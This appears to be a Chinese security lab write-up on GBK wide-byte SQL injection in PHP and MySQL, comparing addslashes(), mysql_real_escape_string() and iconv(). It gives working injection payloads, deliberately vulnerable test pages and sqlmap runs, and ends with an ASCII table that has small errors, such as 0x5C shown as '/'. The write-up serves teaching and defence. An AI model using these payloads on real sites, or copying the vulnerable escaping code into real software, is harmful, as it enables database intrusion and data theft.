1.AddSlashes()
首先來觀察一下是如何通過構造吃掉轉義字符的
先將less 34的網頁編碼換成gbk
加上一些輸出
echo "Before addslashes(): " . $uname1 . "<br/>"; $uname = addslashes($uname1); $passwd= addslashes($passwd1); echo "After addslashes(): " . $uname . "<br/>"; //echo "username after addslashes is :".$uname ."<br>"; //echo "Input password after addslashes is : ".$passwd; // connectivity mysql_query("SET NAMES gbk"); @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; echo "SQL Statement: " . $sql . "<br/>";
POST提交
uname=%df' or 1#&passwd=1
%df即ASCII碼十六進制為df的字符 ß
(注:%df為URL編碼,URL編碼即是255個ASCII字符的十六進制數值加上一個前置的%,可參考:http://www.w3school.com.cn/tags/html_ref_urlencode.html)
POST提交
uname=ß' or 1#&passwd=1
可以的到和提交%df一樣的效果
現在來觀察一下頁面的輸出
Before addslashes(): �' or 1#
After addslashes(): 運' or 1#
(注意在網頁編碼為UTF-8的時候 運 字是無法被顯示的)
After addslashes(): �\' or 1#
addslashes()函數只是對單引號進行了轉義處理,df字符沒有做任何處理,在網頁編碼為GBK時,df 和 \ 字符合並成了一個gbk字符 運
在注入操作的時候,合並的過程是在MYSQL執行查詢操作的時候
SELECT username, password FROM users WHERE username='�\' or 1#' and password='1' LIMIT 0,1#注意此時輸入的引號並沒有引發閉合
mysql_query("SET NAMES gbk");#由於客戶端指定了編碼gbk
SELECT username, password FROM users WHERE username='運' or 1#' and password='1' LIMIT 0,1#查詢語句由utf-8轉向gbk編碼,df 和 5c (即\)合並成為了一個gbk字符
理解了這個過程,再來看看GBK編碼,編碼的范圍為 8140-FEFE,首字節在 81-FE 之間,尾字節在 40-FE 之間,字符 \ 的ASCII碼為5C,在其低位范圍內,就可能被吃掉,並且能吃掉它的字符不僅只有0xdf
取一個實驗一下(參考: http://www.bo56.com/gbk漢字內碼擴展規范編碼表)
比如 乗 字符,GBK編碼 815C
那么構造
uname=%81' or 1#&passwd=1
另外,GB2312編碼范圍是A1A1-FEFE,其中漢字編碼范圍:B0A1-F7FE,即高位A1~FE,低位A1~FE,字符 \ 的ASCII碼為5C,不在其低位范圍內,自然不會被吃掉。
2.mysql_real_escape_string()
Less 36和Less 34用一樣的payload注入,因此看不出來addslashes()和mysql_real_escape_string()的區別
參考:http://www.laruence.com/2010/04/12/1396.html
解釋一下這個輸出,
addslashes函數讀取每個字節,915c按照兩個字節讀取,發現5c后進行轉義: 915c --> 915c5c
控制台為gbk編碼所以顯示 慭\
第二個第三個輸出都是一個原理
對於mysql_real_escape_string()函數,需要注意在使用mysql_set_charset("gbk")后,沒有進行轉義操作,
也就是說mysql_real_escape_string()函數正確讀取了gbk字符(而不是兩個ASCII字符,需要注意UTF-8對於ASCII字符的編碼是和ASCII碼相同的),
前面三種都屬於一種 “誤轉義” ,因此,對於寬字節注入,可以使用第四種方式避免
來實驗一下
參考:https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gbk" /> <title>mysql_real_escape_string</title> </head> <body> <?php $conn = mysql_connect("localhost", "root", "toor") or die("Error!"); //mysql_query("SET NAMES 'gbk'"); //mysql_set_charset包含了這個操作 mysql_select_db("security", $conn); mysql_set_charset("gbk", $conn); $id = isset($_GET["id"]) ? mysql_real_escape_string($_GET["id"]) :1; $sql = "SELECT * FROM users WHERE id='{$id}'"; echo $sql. "<br/>"; $result = mysql_query($sql, $conn) or die(mysql_error()); $row = mysql_fetch_array($result, MYSQL_ASSOC); echo "<h2>{$row['username']}</h2>"; mysql_free_result($result); ?> </body> </html>
【1】正常提交
http://localhost/1.php?id=1
【2】單引號提交(正確轉義)
【3】嘗試注入寬字節
如果引號閉合成功,union select 會返回結果,頁面會有輸出
http://localhost/1.php?id=0%df' union select 1,2,3%23
並沒有得到輸出
來使用sqlmap測試一下
python sqlmap.py -u http://localhost/mysql_real_escape_string.php?id=1 --tamper unmagicquotes.py --dbms mysql
[19:18:02] [INFO] loading tamper script 'unmagicquotes' [19:18:02] [INFO] testing connection to the target URL [19:18:02] [INFO] testing if the target URL content is stable [19:18:03] [INFO] target URL content is stable [19:18:03] [INFO] testing if GET parameter 'id' is dynamic [19:18:03] [INFO] confirming that GET parameter 'id' is dynamic [19:18:03] [INFO] GET parameter 'id' is dynamic [19:18:03] [WARNING] reflective value(s) found and filtering out [19:18:03] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable [19:18:03] [INFO] testing for SQL injection on GET parameter 'id' [19:18:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:18:03] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:18:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [19:18:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' [19:18:03] [INFO] testing 'MySQL inline queries' [19:18:03] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind' [19:18:03] [WARNING] time-based comparison requires larger statistical model, please wait.. (done) [19:18:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:18:04] [WARNING] GET parameter 'id' does not seem to be injectable [19:18:04] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. As heuristic test turned out positive you are strongly advised to continue on with the tests [*] shutting down at 19:18:04
3.character_set_client=binary 和 iconv()
參考此處:https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html#005-iconv
使用character_set_client=binary來避免寬字節注入,但誤用iconv()函數導致的注入問題,可能發生在搜索框中
先看一下測試代碼
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>iconv_utf2gbk</title> </head> <body> <?php function strToHex($string) { $hex=''; for ($i=0; $i < strlen($string); $i++) { $hex .= dechex(ord($string[$i])); } return $hex; } $conn = mysql_connect("localhost", "root", "toor") or die("Error!"); mysql_query("SET NAMES 'gbk'"); mysql_select_db("security", $conn); mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn); echo "id: " . $_GET["id"] ." ==> ". strToHex($_GET["id"]) . "<br/>"; $id = isset($_GET["id"]) ? addslashes($_GET["id"]) :1; echo "addslashes(): " . $id ." ==> ". strToHex($id) . "<br/>"; // iconv(string $in_charset , string $out_charset , string $str ) @$id = iconv('utf-8', 'gbk', $id); echo "iconv(): " . $id ." ==> ". strToHex($id) . "<br/>"; $sql = "SELECT * FROM users WHERE id='{$id}'"; echo $sql. "<br/>"; $result = mysql_query($sql, $conn) or die(mysql_error()); $row = mysql_fetch_array($result, MYSQL_ASSOC); echo "<h2>{$row['username']}</h2>"; mysql_free_result($result); ?> </body> </html>
一些正常的請求
(注意語句執行是成功的,只是沒有查詢結果而已)
一個可能造成注入的請求
http://localhost/iconv_utf82gbk.php?id=錦
出現了MySQL的報錯,注意SQL語句,\' 是 ' 的轉義,用來閉合的單引號被轉義了,SQL語句沒有閉合,所以出現錯誤
來看一下產生的原因,錦 的UTF8編碼為e98ca6(三個字節),GBK編碼為e55c,character_set_client=binary使得 ' 被 5c 轉義,語句沒有閉合
同樣,GBK編碼低位為5c的都可以造成這個錯誤,運 GBK編碼 df5c
那么利用這個5c,就可以造成注入了,
構造這個請求
http://localhost/iconv_utf82gbk.php?id=運'%23
沒有了錯誤,addslashes()函數轉義了' 轉義的\ 和5c 形成了一個新的轉義(\的轉義為\\),我們輸入的 ' 成功閉合了語句,原來用來閉合的 ' 被 # 注釋
http://localhost/iconv_utf82gbk.php?id=運' union select 1,database(),3%23
sqlmap並不能發現這個注入點
>python sqlmap.py -u http://localhost/iconv_utf82gbk.php?id=1 -tamper unmagicquotes.py --dbms mysql
[21:06:27] [INFO] setting file for logging HTTP traffic
[21:06:27] [INFO] testing connection to the target URL
[21:06:27] [INFO] testing if the target URL content is stable
[21:06:28] [INFO] target URL content is stable
[21:06:28] [INFO] testing if GET parameter 'id' is dynamic
[21:06:28] [INFO] confirming that GET parameter 'id' is dynamic
[21:06:28] [INFO] GET parameter 'id' is dynamic
[21:06:28] [WARNING] reflective value(s) found and filtering out
[21:06:28] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[21:06:28] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[21:06:28] [INFO] testing for SQL injection on GET parameter 'id'
[21:06:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:06:28] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[21:06:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[21:06:29] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[21:06:29] [INFO] testing 'MySQL inline queries'
[21:06:29] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[21:06:29] [WARNING] time-based comparison requires larger statistical model, please wait.. (done)
[21:06:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[21:06:29] [WARNING] GET parameter 'id' does not seem to be injectable
[21:06:29] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment')
[*] shutting down at 21:06:29
同樣的,gbk轉向utf-8時也會出現類似的漏洞
測試代碼如下
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>iconv_gbk2utf</title> </head> <body> <?php function strToHex($string) { $hex=''; for ($i=0; $i < strlen($string); $i++) { $hex .= dechex(ord($string[$i])); } return $hex; } $conn = mysql_connect("localhost", "root", "toor") or die("Error!"); mysql_query("SET NAMES 'gbk'"); mysql_select_db("security", $conn); mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn); echo "id: " . $_GET["id"] ." ==> ". strToHex($_GET["id"]) . "<br/>"; $id = isset($_GET["id"]) ? addslashes($_GET["id"]) :1; echo "addslashes(): " . $id ." ==> ". strToHex($id) . "<br/>"; // iconv(string $in_charset , string $out_charset , string $str ) @$id = iconv('gbk', 'utf-8', $id); echo "iconv(): " . $id ." ==> ". strToHex($id) . "<br/>"; $sql = "SELECT * FROM users WHERE id='{$id}'"; echo $sql. "<br/>"; $result = mysql_query($sql, $conn) or die(mysql_error()); $row = mysql_fetch_array($result, MYSQL_ASSOC); echo "<h2>{$row['username']}</h2>"; mysql_free_result($result); ?> </body> </html>
構造請求
http://localhost/iconv_gbk2utf8.php?id=1%e5%27%23
變回了一個普通的寬字節注入,e55c(GBK) 通過iconv函數轉向了 e98ca6(UTF-8)
轉義的 \ 在編碼轉換中消失了
http://localhost/iconv_gbk2utf8.php?id=0%e5' union select 1,database(),3%23
4.總結一下
1.addslashes()函數和mysql_real_escape_string()函數並不等價,addslashes()函數無法抵御寬字節注入,配置正確的mysql_real_escape_string()函數可以抵御寬字節注入,但對於整型注入,這兩個函數都無能為力。
2.錯誤的使用iconv()函數可能使得轉義字符被吃掉,造成注入點。
附一個255位的ASCII碼表
Bin Dec Hex 縮寫/字符 解釋 0000 0000 0 00 NUL (null) 空字符 0000 0001 1 01 SOH (start of handing) 標題開始 0000 0010 2 02 STX (start of text) 正文開始 0000 0011 3 03 ETX (end of text) 正文結束 0000 0100 4 04 EOT (end of transmission) 傳輸結束 0000 0101 5 05 ENQ (enquiry) 請求 0000 0110 6 06 ACK (acknowledge) 收到通知 0000 0111 7 07 BEL (bell) 響鈴 0000 1000 8 08 BS (backspace) 退格 0000 1001 9 09 HT (horizontal tab) 水平制表符 0000 1010 10 0A LF (NL line feed, new line) 換行鍵 0000 1011 11 0B VT (vertical tab) 垂直制表符 0000 1100 12 0C FF (NP form feed, new page) 換頁鍵 0000 1101 13 0D CR (carriage return) 回車鍵 0000 1110 14 0E SO (shift out) 不用切換 0000 1111 15 0F SI (shift in) 啟用切換 0001 0000 16 10 DLE (data link escape) 數據鏈路轉義 0001 0001 17 11 DC1 (device control 1) 設備控制1 0001 0010 18 12 DC2 (device control 2) 設備控制2 0001 0011 19 13 DC3 (device control 3) 設備控制3 0001 0100 20 14 DC4 (device control 4) 設備控制4 0001 0101 21 15 NAK (negative acknowledge) 拒絕接收 0001 0110 22 16 SYN (synchronous idle) 同步空閑 0001 0111 23 17 ETB (end of trans. block) 傳輸塊結束 0001 1000 24 18 CAN (cancel) 取消 0001 1001 25 19 EM (end of medium) 介質中斷 0001 1010 26 1A SUB (substitute) 替補 0001 1011 27 1B ESC (escape) 溢出 0001 1100 28 1C FS (file separator) 文件分割符 0001 1101 29 1D GS (group separator) 分組符 0001 1110 30 1E RS (record separator) 記錄分離符 0001 1111 31 1F US (unit separator) 單元分隔符 0010 0000 32 20 空格 0010 0001 33 21 ! 0010 0010 34 22 " 0010 0011 35 23 # 0010 0100 36 24 $ 0010 0101 37 25 % 0010 0110 38 26 & 0010 0111 39 27 ' 0010 1000 40 28 ( 0010 1001 41 29 ) 0010 1010 42 2A * 0010 1011 43 2B + 0010 1100 44 2C , 0010 1101 45 2D - 0010 1110 46 2E . 0010 1111 47 2F / 0011 0000 48 30 0 0011 0001 49 31 1 0011 0010 50 32 2 0011 0011 51 33 3 0011 0100 52 34 4 0011 0101 53 35 5 0011 0110 54 36 6 0011 0111 55 37 7 0011 1000 56 38 8 0011 1001 57 39 9 0011 1010 58 3A : 0011 1011 59 3B ; 0011 1100 60 3C < 0011 1101 61 3D = 0011 1110 62 3E > 0011 1111 63 3F ? 0100 0000 64 40 @ 0100 0001 65 41 A 0100 0010 66 42 B 0100 0011 67 43 C 0100 0100 68 44 D 0100 0101 69 45 E 0100 0110 70 46 F 0100 0111 71 47 G 0100 1000 72 48 H 0100 1001 73 49 I 0100 1010 74 4A J 0100 1011 75 4B K 0100 1100 76 4C L 0100 1101 77 4D M 0100 1110 78 4E N 0100 1111 79 4F O 0101 0000 80 50 P 0101 0001 81 51 Q 0101 0010 82 52 R 0101 0011 83 53 S 0101 0100 84 54 T 0101 0101 85 55 U 0101 0110 86 56 V 0101 0111 87 57 W 0101 1000 88 58 X 0101 1001 89 59 Y 0101 1010 90 5A Z 0101 1011 91 5B [ 0101 1100 92 5C / 0101 1101 93 5D ] 0101 1110 94 5E ^ 0101 1111 95 5F _ 0110 0000 96 60 ` 0110 0001 97 61 a 0110 0010 98 62 b 0110 0011 99 63 c 0110 0100 100 64 d 0110 0101 101 65 e 0110 0110 102 66 f 0110 0111 103 67 g 0110 1000 104 68 h 0110 1001 105 69 i 0110 1010 106 6A j 0110 1011 107 6B k 0110 1100 108 6C l 0110 1101 109 6D m 0110 1110 110 6E n 0110 1111 111 6F o 0111 0000 112 70 p 0111 0001 113 71 q 0111 0010 114 72 r 0111 0011 115 73 s 0111 0100 116 74 t 0111 0101 117 75 u 0111 0110 118 76 v 0111 0111 119 77 w 0111 1000 120 78 x 0111 1001 121 79 y 0111 1010 122 7A z 0111 1011 123 7B { 0111 1100 124 7C | 0111 1101 125 7D } 0111 1110 126 7E ~ 0111 1111 127 7F DEL (delete) 刪除 Extended ASCII 128 80 ? 129 81 � 130 82 ‚ 131 83 ƒ 132 84 „ 133 85 … 134 86 † 135 87 ‡ 136 88 ˆ 137 89 ‰ 138 8A Š 139 8B ‹ 140 8C Œ 141 8D � 142 8E Ž 143 8F � 144 90 � 145 91 ' 146 92 ' 147 93 " 148 94 " 149 95 o 150 96 - 151 97 - 152 98 ˜ 153 99 ™ 154 9A š 155 9B › 156 9C œ 157 9D � 158 9E ž 159 9F Ÿ 160 A0 161 A1 ¡ 162 A2 ¢ 163 A3 £ 164 A4 ¤ 165 A5 ¥ 166 A6 ¦ 167 A7 § 168 A8 ¨ 169 A9 © 170 AA ª 171 AB « 172 AC 173 AD 174 AE ® 175 AF ¯ 176 B0 ° 177 B1 ± 178 B2 ² 179 B3 ³ 180 B4 ´ 181 B5 µ 182 B6 183 B7 · 184 B8 185 B9 ¹ 186 BA º 187 BB » 188 BC ¼ 189 BD ½ 190 BE ¾ 191 BF ¿ 192 C0 À 193 C1 Á 194 C2  195 C3 à 196 C4 Ä 197 C5 Å 198 C6 Æ 199 C7 Ç 200 C8 È 201 C9 É 202 CA Ê 203 CB Ë 204 CC Ì 205 CD Í 206 CE Î 207 CF Ï 208 D0 Ð 209 D1 Ñ 210 D2 Ò 211 D3 Ó 212 D4 Ô 213 D5 Õ 214 D6 Ö 215 D7 × 216 D8 Ø 217 D9 Ù 218 DA Ú 219 DB Û 220 DC Ü 221 DD Ý 222 DE Þ 223 DF ß 224 E0 à 225 E1 á 226 E2 â 227 E3 ã 228 E4 ä 229 E5 å 230 E6 æ 231 E7 ç 232 E8 è 233 E9 é 234 EA ê 235 EB ë 236 EC ì 237 ED í 238 EE î 239 EF ï 240 F0 ð 241 F1 ñ 242 F2 ò 243 F3 ó 244 F4 ô 245 F5 õ 246 F6 ö 247 F7 ÷ 248 F8 ø 249 F9 ù 250 FA ú 251 FB û 252 FC ü 253 FD ý 254 FE þ 255 FF ÿ
以wiki上的圖為准